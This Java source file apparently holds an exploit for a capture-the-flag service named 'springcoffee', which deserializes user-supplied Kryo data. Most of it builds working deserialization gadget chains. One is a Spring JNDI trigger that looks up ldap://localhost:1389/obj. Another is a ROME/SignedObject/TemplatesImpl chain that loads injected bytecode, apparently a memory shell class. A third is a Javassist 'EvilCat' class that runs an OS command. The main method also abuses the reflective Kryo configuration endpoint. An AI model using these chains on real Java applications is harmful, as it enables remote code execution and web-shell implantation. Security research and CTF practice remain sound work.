package com.mrtf.springcoffee.model;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.mrtf.springcoffee.shell.MSpringJNIController;
import com.mrtf.springcoffee.util.Reflections;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.logging.impl.NoOpLog;
import org.json.JSONObject;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import static com.mrtf.springcoffee.util.Reflections.setFieldValue;
public class Main {
protected Kryo kryo = new Kryo();
public Message order(CoffeeRequest coffee) {
if (coffee.extraFlavor != null) {
ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor));
Input input = new Input(bas);
ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input);
return new Message(200, flavor.getName());
} else if (coffee.espresso > 0.5D) {
return new Message(200, "DOPPIO");
} else if (coffee.hotWater > 0.5D) {
return new Message(200, "AMERICANO");
} else if (coffee.milkFoam > 0.0D && coffee.steamMilk > 0.0D) {
return coffee.steamMilk > coffee.milkFoam ? new Message(200, "CAPPUCCINO") : new Message(200, "Latte");
} else {
return coffee.espresso > 0.0D ? new Message(200, "Espresso") : new Message(200, "empty");
}
}
public Message demoFlavor(String raw) throws Exception {
System.out.println(raw);
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) {
this.kryo = new Kryo();
Method[] var3 = this.kryo.getClass().getDeclaredMethods();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 = serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()[0].isPrimitive()) {
try {
p1 = Class.forName((String)p1).newInstance();
setMethod.invoke(this.kryo, p1);
} catch (Exception var9) {
var9.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception var10) {
}
}
}
}
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
this.kryo.register(Mocha.class);
this.kryo.writeClassAndObject(output, new Mocha());
output.flush();
output.close();
return new Message(200, "Mocha!", Base64.getEncoder().encode(bos.toByteArray()));
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static BeanFactory makeJNDITrigger (String jndiUrl ) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
setFieldValue(bf, "logger", new NoOpLog());
setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
public static Object makeBeanFactoryTriggerBFPA ( String name, BeanFactory bf ) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name);
DefaultBeanFactoryPointcutAdvisor c = new DefaultBeanFactoryPointcutAdvisor();
c.setAdviceBeanName(name);
c.setBeanFactory(bf);
return makeMap(pcadv, c);
}
public byte[] genpayload1()throws Exception{
String jndiUrl = "ldap://localhost:1389/obj";
final Object o = makeBeanFactoryTriggerBFPA(jndiUrl, makeJNDITrigger(jndiUrl));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try ( Output output = new Output(bos) ) {
this.kryo.writeClassAndObject(output, o);
}
byte[] bytes = bos.toByteArray();
return Base64.getEncoder().encode(bytes);
}
public static byte[] genByteCode() throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "System.out.println(\"whoops!\");java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
return classBytes;
}
public byte[] genpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(MSpringJNIController.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ToStringBean item = new ToStringBean(Templates.class, obj);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException,"val",root);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject so = null;
so = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
ObjectBean delegate = new ObjectBean(SignedObject.class, so);
ObjectBean ob = new ObjectBean(ObjectBean.class, delegate);
HashMap o = makeMap(ob, ob);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try ( Output output = new Output(bos) ) {
this.kryo.writeClassAndObject(output, o);
}
byte[] bytes = bos.toByteArray();
return Base64.getEncoder().encode(bytes);
}
public static void main(String[] args) throws Exception {
Main main = new Main();
main.demoFlavor("{\n" +
" \"polish\":True,\n" +
" \"References\":True,\n" +
" \"RegistrationRequired\":False,\n" +
" \"InstantiatorStrategy\":\"org.objenesis.strategy.StdInstantiatorStrategy\",\n" +
" }");
byte[] bytes = main.genpayload();
String s = new String(bytes);
CoffeeRequest coffee = new CoffeeRequest();
JSONObject jsonObject = new JSONObject(coffee);
coffee.setExtraFlavor(s);
System.out.println(new String(bytes));
}
}
|
